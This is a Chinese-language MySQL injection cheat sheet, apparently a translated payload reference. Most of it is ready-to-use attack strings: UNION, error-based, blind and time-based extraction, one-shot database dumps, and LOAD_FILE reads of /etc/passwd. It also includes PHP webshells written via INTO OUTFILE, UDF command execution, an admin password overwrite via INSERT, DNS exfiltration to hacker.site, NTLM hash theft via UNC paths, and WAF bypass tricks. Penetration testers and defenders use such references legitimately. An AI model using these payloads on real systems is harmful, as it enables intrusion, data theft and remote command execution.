MySQL 注入 (MySQL Injection)
MySQL 注入是一种安全漏洞,当攻击者由于注入恶意输入而能够操纵对 MySQL 数据库进行的 SQL 查询时,就会发生这种攻击。这种漏洞通常是由于处理用户输入不当造成的,允许攻击者执行任意 SQL 代码,从而破坏数据库的完整性和安全性。
摘要 (Summary)
- MySQL 默认数据库 (#mysql-default-databases)
- MySQL 注释 (#mysql-comments)
- MySQL 注入测试 (#mysql-testing-injection)
- 基于 UNION 的 MySQL 注入 (#mysql-union-based)
- 基于报错的 MySQL 注入 (#mysql-error-based)
- MySQL 盲注 (#mysql-blind)
- 基于时间的 MySQL 注入 (#mysql-time-based)
- MySQL DIOS - 一键拖库 (Dump in One Shot)
- MySQL 当前查询监控 (#mysql-current-queries)
- 读取 MySQL 文件内容 (#mysql-read-content-of-a-file)
- MySQL 命令执行 (#mysql-command-execution)
- MySQL INSERT 注入 (#mysql-insert)
- MySQL 截断攻击 (#mysql-truncation)
- MySQL 带外注入 (Out of Band)
- MySQL WAF 绕过 (#mysql-waf-bypass)
- 参考资料 (#references)
MySQL 默认数据库 (MySQL Default Databases)
| 名称 | 描述 (Description) |
|---|---|
| mysql | 需要 root 权限 |
| information_schema | 适用于版本 5 及更高版本 |
MySQL 注释 (MySQL Comments)
MySQL 注释是 SQL 代码中的注解,在执行期间会被 MySQL 服务器忽略。
| 注释类型 | 描述 (Description) |
|---|---|
# |
井号注释 |
/* MySQL Comment */ |
C 风格注释 |
/*! MySQL Special SQL */ |
内联路径 (特殊 SQL) |
/*!32302 10*/ |
针对 MySQL 3.23.02 版本的注释 |
-- |
SQL 标准注释 |
;%00 |
空字节 |
| ` | 反引号 |
MySQL 注入测试 (MySQL Testing Injection)
-
字符串型:形如
SELECT * FROM Table WHERE id = 'FUZZ';的查询 -
数字型:形如
SELECT * FROM Table WHERE id = FUZZ;的查询 -
登录绕过:形如
SELECT * FROM Users WHERE username = 'FUZZ1' AND password = 'FUZZ2';的查询
基于 UNION 的 MySQL 注入 (MySQL Union Based)
检测列数 (Detect Columns Number)
要成功执行基于 UNION 的 SQL 注入,攻击者需要了解原始查询中的列数。
NULL 迭代法 (Iterative NULL Method)
系统地增加 UNION SELECT 语句中的列数,直到载荷执行不报错或产生可见变化。每次迭代都会检查列数的兼容性。
ORDER BY 法 (ORDER BY Method)
不断增加序列号,直到获得 False 响应。尽管 GROUP BY 和 ORDER BY 在 SQL 中功能不同,但它们都可以以完全相同的方式用于确定查询中的列数。
| ORDER BY | GROUP BY | 结果 (Result) |
|---|---|---|
ORDER BY 1--+ |
GROUP BY 1--+ |
True |
ORDER BY 2--+ |
GROUP BY 2--+ |
True |
ORDER BY 3--+ |
GROUP BY 3--+ |
True |
ORDER BY 4--+ |
GROUP BY 4--+ |
False |
由于 ORDER BY 4 的结果为 false,这意味着该 SQL 查询仅有 3 列。
在基于 UNION 的 SQL 注入中,你可以 SELECT 任意数据以显示在页面上:-1' UNION SELECT 1,2,3--+。
如果开启了错误显示,我们还可以通过一次请求检查列数。
ORDER BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+ # Unknown column '4' in 'order clause'
LIMIT INTO 法 (LIMIT INTO Method)
当开启了错误报告时,此方法非常有效。它可以帮助确定注入点发生在 LIMIT 子句之后的情况下的列数。
| 攻击载荷 (Payload) | 报错消息 (Error) |
|---|---|
1' LIMIT 1,1 INTO @--+ |
The used SELECT statements have a different number of columns |
1' LIMIT 1,1 INTO @,@--+ |
The used SELECT statements have a different number of columns |
1' LIMIT 1,1 INTO @,@,@--+ |
无报错意味着查询使用 3 列 |
由于结果没有报错,意味着查询使用了 3 列:-1' UNION SELECT 1,2,3--+。
使用 Information_Schema 提取数据库信息
此查询检索服务器上所有架构(数据库)的名称。
此查询检索指定架构内的所有表名(架构名由占位符 PLACEHOLDER 表示)。
UNION SELECT 1,2,3,4,...,GROUP_CONCAT(0x7c,table_name,0x7C) FROM information_schema.tables WHERE table_schema=PLACEHOLDER
此查询检索指定表中的所有列名。
UNION SELECT 1,2,3,4,...,GROUP_CONCAT(0x7c,column_name,0x7C) FROM information_schema.columns WHERE table_name=...
此查询旨在从特定表中读取数据。
不使用 Information_Schema 提取列名
适用于 MySQL >= 4.1 的方法。
| 攻击载荷 (Payload) | 输出 (Output) |
|---|---|
(1)and(SELECT * from db.users)=(1) |
Operand should contain 4 column(s) |
1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1) |
Column 'id' cannot be null |
适用于 MySQL 5 的方法。
| 攻击载荷 (Payload) | 输出 (Output) |
|---|---|
UNION SELECT * FROM (SELECT * FROM users JOIN users b)a |
Duplicate column name 'id' |
UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a |
Duplicate column name 'name' |
UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a |
数据内容 |
不使用列名提取数据
在不知道第 4 列名称的情况下提取该列数据。
在查询 select author_id,title from posts where author_id=[此处注入] 中的注入示例:
MariaDB [dummydb]> SELECT AUTHOR_ID,TITLE FROM POSTS WHERE AUTHOR_ID=-1 UNION SELECT 1,(SELECT CONCAT(`3`,0X3A,`4`) FROM (SELECT 1,2,3,4,5,6 UNION SELECT * FROM USERS)A LIMIT 1,1);
+-----------+-----------------------------------------------------------------+
| author_id | title |
+-----------+-----------------------------------------------------------------+
| 1 | a45d4e080fc185dfa223aea3d0c371b6cc180a37:veronica80@example.org |
+-----------+-----------------------------------------------------------------+
基于报错的 MySQL 注入 (MySQL Error Based)
| 报错载荷名 | 攻击载荷 (Payload) |
|---|---|
| GTID_SUBSET | AND GTID_SUBSET(CONCAT('~',(SELECT version()),'~'),1337) -- - |
| JSON_KEYS | AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('~',(SELECT version()),'~')) USING utf8))) -- - |
| EXTRACTVALUE | AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT version()),'~')) -- - |
| UPDATEXML | AND UPDATEXML(1337,CONCAT('.','~',(SELECT version()),'~'),31337) -- - |
| EXP | AND EXP(~(SELECT * FROM (SELECT CONCAT('~',(SELECT version()),'~','x'))x)) -- - |
| OR | OR 1 GROUP BY CONCAT('~',(SELECT version()),'~',FLOOR(RAND(0)*2)) HAVING MIN(0) -- - |
| NAME_CONST | AND (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)-- |
| UUID_TO_BIN | AND UUID_TO_BIN(version())='1 |
基础报错注入 (MySQL Error Based - Basic)
适用于 MySQL >= 4.1
(SELECT 1 AND ROW(1,1)>(SELECT COUNT(*),CONCAT(CONCAT(@@VERSION),0X3A,FLOOR(RAND()*2))X FROM (SELECT 1 UNION SELECT 2)A GROUP BY X LIMIT 1))
'+(SELECT 1 AND ROW(1,1)>(SELECT COUNT(*),CONCAT(CONCAT(@@VERSION),0X3A,FLOOR(RAND()*2))X FROM (SELECT 1 UNION SELECT 2)A GROUP BY X LIMIT 1))+'
基于 UpdateXML 函数的报错注入
AND UPDATEXML(rand(),CONCAT(CHAR(126),version(),CHAR(126)),null)-
AND UPDATEXML(rand(),CONCAT(0x3a,(SELECT CONCAT(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)--
AND UPDATEXML(rand(),CONCAT(0x3a,(SELECT CONCAT(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)--
AND UPDATEXML(rand(),CONCAT(0x3a,(SELECT CONCAT(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)--
AND UPDATEXML(rand(),CONCAT(0x3a,(SELECT CONCAT(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)--
更简短的写法:
UPDATEXML(null,CONCAT(0x0a,version()),null)-- -
UPDATEXML(null,CONCAT(0x0a,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1)),null)-- -
基于 ExtractValue 函数的报错注入
适用于 MySQL >= 5.1
?id=1 AND EXTRACTVALUE(RAND(),CONCAT(CHAR(126),VERSION(),CHAR(126)))--
?id=1 AND EXTRACTVALUE(RAND(),CONCAT(0X3A,(SELECT CONCAT(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--
?id=1 AND EXTRACTVALUE(RAND(),CONCAT(0X3A,(SELECT CONCAT(CHAR(126),table_name,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--
?id=1 AND EXTRACTVALUE(RAND(),CONCAT(0X3A,(SELECT CONCAT(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--
?id=1 AND EXTRACTVALUE(RAND(),CONCAT(0X3A,(SELECT CONCAT(CHAR(126),data_column,CHAR(126)) FROM data_schema.data_table LIMIT data_offset,1)))--
基于 NAME_CONST 函数的报错注入 (仅适用于常量)
适用于 MySQL >= 5.0
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)--
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(user(),1),NAME_CONST(user(),1)) as x)--
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(database(),1),NAME_CONST(database(),1)) as x)--
MySQL 盲注 (MySQL Blind)
MySQL 盲注下的 Substring 等价函数 (MySQL Blind With Substring Equivalent)
| 函数名 | 示例 | 描述 (Description) |
|---|---|---|
SUBSTR |
SUBSTR(version(),1,1)=5 |
从字符串中提取子字符串(可以从任何位置开始) |
SUBSTRING |
SUBSTRING(version(),1,1)=5 |
从字符串中提取子字符串(可以从任何位置开始) |
RIGHT |
RIGHT(left(version(),1),1)=5 |
从字符串末尾提取指定数量的字符 |
MID |
MID(version(),1,1)=4 |
从字符串中提取子字符串(可以从任何位置开始) |
LEFT |
LEFT(version(),1)=4 |
从字符串开头提取指定数量的字符 |
使用 SUBSTRING 或其他等效函数进行盲注的示例:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
?id=1 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
?id=1 AND ASCII(LOWER(SUBSTR(version(),1,1)))=51
使用条件语句的 MySQL 盲注
-
结果为 TRUE:
如果 @@version 以 5 开头: -
结果为 FALSE:
如果 @@version 以 4 开头:
使用 MAKE_SET 的 MySQL 盲注
AND MAKE_SET(要提取的值<(SELECT(length(version()))),1)
AND MAKE_SET(要提取的值<ascii(substring(version(),POS,1)),1)
AND MAKE_SET(要提取的值<(SELECT(length(concat(login,password)))),1)
AND MAKE_SET(要提取的值<ascii(substring(concat(login,password),POS,1)),1)
使用 LIKE 的 MySQL 盲注
在 MySQL 中,LIKE 运算符可用于在查询中执行模式匹配。该运算符允许使用通配符匹配未知或部分字符串。当攻击者不知道数据库中存储数据的长度或具体内容时,这在盲注场景下尤为有用。
LIKE 中的通配符:
- 百分号 (
%):此通配符代表零个、一个或多个字符。它可以用于匹配任何字符序列。 - 下划线 (
_):此通配符代表单个字符。当你了解数据的结构但不清楚特定位置的具体字符时,它可用于更精确的匹配。
SELECT cust_code FROM customer WHERE cust_name LIKE 'k__l';
SELECT * FROM products WHERE product_name LIKE '%用户输入%'
使用 REGEXP 的 MySQL 盲注
MySQL 的 REGEXP 运算符也可以用于执行盲注,它通过正则表达式来匹配字符串。当攻击者想要执行比 LIKE 运算符更复杂的模式匹配时,此技术特别有效。
| 攻击载荷 (Payload) | 描述 (Description) |
|---|---|
' OR (SELECT username FROM users WHERE username REGEXP '^.{8,}$') -- |
检查长度 |
' OR (SELECT username FROM users WHERE username REGEXP '[0-9]') -- |
检查是否存在数字 |
' OR (SELECT username FROM users WHERE username REGEXP '^a[a-z]') -- |
检查数据是否以 "a" 开头 |
基于时间的 MySQL 注入 (MySQL Time Based)
以下 SQL 代码将延迟 MySQL 的输出。
-
MySQL 4/5 :
BENCHMARK() -
MySQL 5:
SLEEP()
在子查询中使用 SLEEP
提取数据长度。
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE '%')#
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE '___')#
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE '____')#
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE '_____')#
提取第一个字符。
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'A____')#
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'S____')#
提取第二个字符。
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'SA___')#
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'SW___')#
提取第三个字符。
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'SWA__')#
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'SWB__')#
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'SWI__')#
提取列名。
1 AND (SELECT SLEEP(10) FROM DUAL WHERE (SELECT table_name FROM information_schema.columns WHERE table_schema=DATABASE() AND column_name LIKE '%pass%' LIMIT 0,1) LIKE '%')#
使用条件语句
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()),1,1))>=100,1, BENCHMARK(2000000,MD5(NOW()))) --
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()), 1, 1))>=100, 1, SLEEP(3)) --
?id=1 OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
MySQL DIOS - 一键拖库 (Dump in One Shot)
DIOS(Dump In One Shot)SQL 注入是一种高级技术,允许攻击者通过单个精心构造的 SQL 注入攻击载荷提取整个数据库内容。该方法利用了将多条数据拼接成单个结果集的能力,然后由数据库在一次响应中返回。
(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)#
(select (@) from (select(@:=0x00),(select (@) from (数据库名.表名) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',列名1,' ] > ',列名2,' > ',0x7C))))a)#
-
SecurityIdiots 方法
-
Profexer 方法
-
Dr.Z3r0 方法
-
M@dBl00d 方法
-
Zen 方法
-
sharik 方法
MySQL 当前查询监控 (MySQL Current Queries)
INFORMATION_SCHEMA.PROCESSLIST 是 MySQL 和 MariaDB 中提供的一个特殊表,用于提供有关数据库服务器内活动进程和线程的信息。此表可以列出数据库当前正在执行的所有操作。
PROCESSLIST 表包含几个重要的列,每列都提供有关当前进程的详细信息。常见列包括:
- ID:进程标识符。
- USER:运行该进程的 MySQL 用户。
- HOST:启动该进程的主机。
- DB:进程当前访问的数据库(如果有)。
- COMMAND:进程正在执行的命令类型(例如 Query, Sleep)。
- TIME:进程运行的时间(以秒为单位)。
- STATE:进程的当前状态。
- INFO:正在执行的语句文本,如果未执行任何语句,则为 NULL。
| ID | 用户 | 主机 | 数据库 | 命令 | 时间 | 状态 | 信息 (INFO) |
|---|---|---|---|---|---|---|---|
| 1 | root | localhost | testdb | Query | 10 | executing | SELECT * FROM some_table |
| 2 | app_uset | 192.168.0.101 | appdb | Sleep | 300 | sleeping | NULL |
| 3 | gues_user | example.com:3360 | NULL | Connect | 0 | connecting | NULL |
一键拖库查询以提取该表的全部内容:
UNION SELECT 1,(SELECT(@)FROM(SELECT(@:=0X00),(SELECT(@)FROM(information_schema.processlist)WHERE(@)IN(@:=CONCAT(@,0x3C62723E,state,0x3a,info))))a),3,4 #
读取 MySQL 文件内容 (MySQL Read Content of a File)
需要具有 filepriv 权限,否则你会收到如下报错:ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
UNION ALL SELECT LOAD_FILE('/etc/passwd') --
UNION ALL SELECT TO_base64(LOAD_FILE('/var/www/html/index.php'));
如果你在数据库上具有 root 权限,可以使用以下查询重新启用 LOAD_FILE:
MySQL 命令执行 (MySQL Command Execution)
WEBSHELL - OUTFILE 方法
[...] UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"
[...] UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?>'
[...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- -
[...] union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'
WEBSHELL - DUMPFILE 方法
[...] UNION SELECT 0xPHP载荷的十六进制, NULL, NULL INTO DUMPFILE 'C:/Program Files/EasyPHP-12.1/www/shell.php'
[...] UNION SELECT 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/images/shell.php';
系统命令 - UDF 库方法 (COMMAND - UDF Library)
首先,你需要检查服务器上是否安装了 UDF。
然后,你可以使用诸如 sys_exec 和 sys_eval 之类的函数。
$ mysql -u root -p mysql
输入密码: [...]
mysql> SELECT sys_eval('id');
+--------------------------------------------------+
| sys_eval('id') |
+--------------------------------------------------+
| uid=118(mysql) gid=128(mysql) groups=128(mysql) |
+--------------------------------------------------+
MySQL INSERT 注入
ON DUPLICATE KEY UPDATE 关键字用于告诉 MySQL 当应用程序尝试插入表中已存在的行时该怎么做。我们可以利用此机制更改管理员密码:
注入攻击载荷如下:
attacker_dummy@example.com", "P@ssw0rd"), ("admin@example.com", "P@ssw0rd") ON DUPLICATE KEY UPDATE password="P@ssw0rd" --
执行的查询将如下所示:
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "BCRYPT_哈希值"), ("admin@example.com", "P@ssw0rd") ON DUPLICATE KEY UPDATE password="P@ssw0rd" -- ", "你输入的密码的_BCRYPT_哈希值");
此查询将为用户 "attacker_dummy@example.com" 插入一行,并尝试为用户 "admin@example.com" 插入一行。
由于该行已存在,ON DUPLICATE KEY UPDATE 关键字会告诉 MySQL 将已存在行的 password 列更新为 "P@ssw0rd"。之后,我们便可以简单地使用 "admin@example.com" 和密码 "P@ssw0rd" 进行身份验证。
MySQL 截断攻击 (MySQL Truncation)
在 MySQL 中,"admin" 和 "admin" 被视为相同。如果数据库中的用户名列有字符限制,超出限制的字符将被截断。因此,如果数据库列限制为 20 个字符,而我们输入 21 个字符,则最后 1 个字符将被移除。
攻击载荷:username = "admin a"
MySQL 带外注入 (MySQL Out of Band)
SELECT @@version INTO OUTFILE '\\\\192.168.0.100\\temp\\out.txt';
SELECT @@version INTO DUMPFILE '\\\\192.168.0.100\\temp\\out.txt;
DNS 数据外带 (DNS Exfiltration)
SELECT LOAD_FILE(CONCAT('\\\\',VERSION(),'.hacker.site\\a.txt'));
SELECT LOAD_FILE(CONCAT(0x5c5c5c5c,VERSION(),0x2e6861636b65722e736974655c5c612e747874))
UNC 路径 - NTLM 哈希窃取 (UNC Path - NTLM Hash Stealing)
术语 "UNC 路径" 指的是通用命名公约路径,用于指定网络上资源(如共享文件或设备)的位置。它通常用于 Windows 环境,通过格式如 \\服务器\共享\文件 从网络访问文件。
SELECT LOAD_FILE('\\\\error\\abc');
SELECT LOAD_FILE(0x5c5c5c5c6572726f725c5c616263);
SELECT '' INTO DUMPFILE '\\\\error\\abc';
SELECT '' INTO OUTFILE '\\\\error\\abc';
LOAD DATA INFILE '\\\\error\\abc' INTO TABLE 数据库名.表名;
别忘了对 '\\' 进行转义。
MySQL WAF 绕过 (MySQL WAF Bypass)
Information Schema 的替代方案
information_schema.tables 的替代方案:
SELECT * FROM mysql.innodb_table_stats;
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| database_name | table_name | last_update | n_rows | clustered_index_size | sum_of_other_index_sizes |
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| dvwa | guestbook | 2017-01-19 21:02:57 | 0 | 1 | 0 |
| dvwa | users | 2017-01-19 21:03:07 | 5 | 1 | 0 |
...
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
mysql> SHOW TABLES IN dvwa;
+----------------+
| Tables_in_dvwa |
+----------------+
| guestbook |
| users |
+----------------+
VERSION 的替代方案
mysql> SELECT @@innodb_version;
+------------------+
| @@innodb_version |
+------------------+
| 5.6.31 |
+------------------+
mysql> SELECT @@version;
+-------------------------+
| @@version |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+
mysql> SELECT version();
+-------------------------+
| version() |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+
mysql> SELECT @@GLOBAL.VERSION;
+------------------+
| @@GLOBAL.VERSION |
+------------------+
| 8.0.27 |
+------------------+
GROUP_CONCAT 的替代方案
要求:MySQL >= 5.7.22
使用 json_arrayagg() 代替 group_concat(),它允许显示更多的字符:
group_concat()= 1024 个字符json_arrayagg()> 16,000,000 个字符
科学计数法绕过 (Scientific Notation)
在 MySQL 中,e 记法用于以科学计数法表示数字。这是一种以简洁格式表达极大或极小数字的方法。e 记法由一个数字后跟字母 e 和一个指数组成。
格式为:底数 'e' 指数。
例如:
1e3代表1 x 10^3,即1000。1.5e3代表1.5 x 10^3,即1500。2e-3代表2 x 10^-3,即0.002。
以下查询是等效的:
SELECT table_name FROM information_schema 1.e.tablesSELECT table_name FROM information_schema .tables
同样地,绕过身份验证的常用载荷 ' or ''=' 等效于 ' or 1.e('')=' 和 1' or 1.e(1) or '1'='1。
此技术可用于混淆查询以绕过 WAF,例如:1.e(ascii 1.e(substring(1.e(select password from users limit 1 1.e,1 1.e) 1.e,1 1.e,1 1.e)1.e)1.e) = 70 or'1'='2
条件注释 (Conditional Comments)
MySQL 条件注释包含在 /*! ... */ 中,并可以包含版本号,以指定应执行所含代码的 MySQL 最低版本。
仅当 MySQL 版本大于或等于 /*! 后面的数字时,该注释内的代码才会被执行。如果 MySQL 版本低于指定数字,注释内的代码将被忽略。
/*!12345UNION*/:这意味着如果 MySQL 版本为 12.345 或更高,UNION一词将作为 SQL 语句的一部分执行。/*!31337SELECT*/:类似地,如果 MySQL 版本为 31.337 或更高,SELECT一词将被执行。
示例:/*!12345UNION*/, /*!31337SELECT*/
宽字节注入 (GBK) (Wide Byte Injection)
宽字节注入是一种特定类型的 SQL 注入攻击,针对使用多字节字符集(如 GBK 或 SJIS)的应用程序。“宽字节”是指一个字符可以由一个以上字节表示的字符编码。当应用程序和数据库对多字节序列的解释不同时,此类注入尤为突出。
SET NAMES gbk 查询可能会在基于字符集的 SQL 注入攻击中被利用。当字符集设为 GBK 时,某些多字节字符可以被用来绕过转义机制并注入恶意 SQL 代码。
有几个字符可以用来触发注入:
%bf%27:这是字节序列0xbf27的 URL 编码表示。在 GBK 字符集中,0xbf27解码为一个有效的多字节字符,后跟一个单引号 (')。当 MySQL 遇到此序列时,它会将其解释为一个有效的 GBK 字符后跟一个单引号,从而有效地终结了字符串。%bf%5c:代表字节序列0xbf5c。在 GBK 中,这解码为一个有效的多字节字符,后跟一个反斜杠 (\)。这可以用来转义序列中的下一个字符。%a1%27:代表字节序列0xa127。在 GBK 中,这解码为一个有效的多字节字符,后跟一个单引号 (')。
可以创建许多攻击载荷,例如:
下面是一个使用 GBK 编码并过滤用户输入以转义反斜杠、单引号和双引号的 PHP 示例:
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //转义所有反斜杠
$string = preg_replace('/\'/i', '\\\'', $string); //用反斜杠转义单引号
$string = preg_replace('/\"/', "\\\"", $string); //用反斜杠转义双引号
return $string;
}
$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
print_r(mysql_error());
宽字节注入的工作原理分解如下:
例如,如果输入是 ?id=1',PHP 将添加一个反斜杠,导致 SQL 查询变为:SELECT * FROM users WHERE id='1\'' LIMIT 0,1。
然而,当在单引号前引入序列 %df 时,如 ?id=1%df',PHP 仍然会添加反斜杠。这导致 SQL 查询变为:SELECT * FROM users WHERE id='1%df\'' LIMIT 0,1。
在 GBK 字符集中,序列 %df%5c 被翻译为字符 連。因此,SQL 查询变为:SELECT * FROM users WHERE id='1連'' LIMIT 0,1。在这里,宽字节字符 連 实际上“吃掉”了添加的转义字符,从而允许进行 SQL 注入。
因此,通过使用攻击载荷 ?id=1%df' and 1=1 --+,在 PHP 添加反斜杠后,SQL 查询转换为:SELECT * FROM users WHERE id='1連' and 1=1 --+' LIMIT 0,1。这个被改变的查询可以被成功注入,从而绕过预期的 SQL 逻辑。
参考资料 (References)
- [SQLi] 在不了解列名的情况下提取数据 - Ahmed Sultan - 2019年2月9日
- MySQL 中的科学计数法 Bug 导致 AWS WAF 客户端易受 SQL 注入攻击 - Marc Olivier Bergeron - 2021年10月19日
- MySQL 中 Information_Schema.Tables 的替代方案 - Osanda Malith Jayathissa - 2017年2月3日
- Ekoparty CTF 2016 (Web 100) - p4-team - 2016年10月26日
- 基于报错的注入 | NetSPI SQL 注入 Wiki - NetSPI - 2021年2月15日
- 如何使用 SQL 调用保护你的网站 - IPA ISEC - 2010年3月
- MySQL 带外攻击 - Osanda Malith Jayathissa - 2018年2月23日
- SQL 注入 - 老派做法 - 02 - Ahmed Sultan - 2025年1月1日
- SQL 截断攻击 - Rohit Shaw - 2014年6月29日
- SQLi 过滤器规避速查表 (MySQL) - Johannes Dahse - 2010年12月4日
- SQL 注入知识库 - Roberto Salgado - 2013年5月29日